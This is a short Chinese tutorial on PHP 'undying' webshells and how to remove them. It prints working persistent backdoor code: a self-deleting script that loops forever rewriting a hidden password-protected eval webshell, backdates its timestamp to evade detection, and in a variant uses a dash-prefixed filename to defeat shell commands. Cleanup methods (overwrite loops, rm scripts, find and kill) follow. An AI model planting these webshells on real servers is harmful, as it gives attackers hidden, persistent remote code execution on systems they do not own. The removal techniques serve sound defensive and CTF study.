不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件
这里以PHP不死马为例
写入不死马
测试代码:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="0c13663291276052cc365befb516bbe3"){@eval($_POST[pass]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .index.php');
usleep(5000);
}
?>
我这里的pass的值是:nononodieshell
避免被他人利用
尝试删除该文件,会发现无法删除,这就是不死马,因为它已经写入了进程
使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除
只有查看新增文件才能发现它
find ./ -cmin -30 #查看30分钟内创建的文件

或者除非你知道这个不死马的名字,也可使用find命令查找(./表示在当前目录下)

处理方法:
1、写入同名文件克制不死马
测试代码:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.test.php'; //注意名字要和要消除的木马名字一样
$code = 'come on!';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .test.php');
usleep(1000);
}
?>
注意:usleep的时间一定要比不死马小,$code修改为无害内容即可
假设文件命名为killshell.php,上传该文件并访问它
注意:一定要先去访问它一遍才能触发写入文件

再次尝试连接webshell发现已经连不上了,返回数据为空
在服务器查看webshell的内容不再是一句话木马,而变成了我们后面写入的无害内容
2、使用条件竞争查杀不死马
测试代码:
这是一个bash脚本
#!/bin/bashwhile true do#kill -9 进程IDrm -rf .test.phpdone
如果能查到不死马的进程ID也可以kill命令和rm命令同时进行
使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程
新建查杀脚本
vim rmshell.sh

chmod 777 rmshell.sh
后台不断运行这个脚本
nohup ./rmshell.sh &
再次查看不死马,发现已经不存在了
拓展:变种不死马
这里写入的木马以-开头,而不是.开头
在 Linux 命令行中,命令在追加参数时都是用的-,所以,如果对这样方式命名的文件执行命令,都会将这个文件当做参数来执行,没有该参数就会报错,以至于命令无法在这个不死马上执行,但缺点就是隐蔽性没有以.开头的好。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '-index.php';
$code = '<?php if(md5($_GET["pass"])=="0c13663291276052cc365befb516bbe3"){@eval($_POST[pass]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" -index.php');
usleep(5000);
}
?>
Comments | NOTHING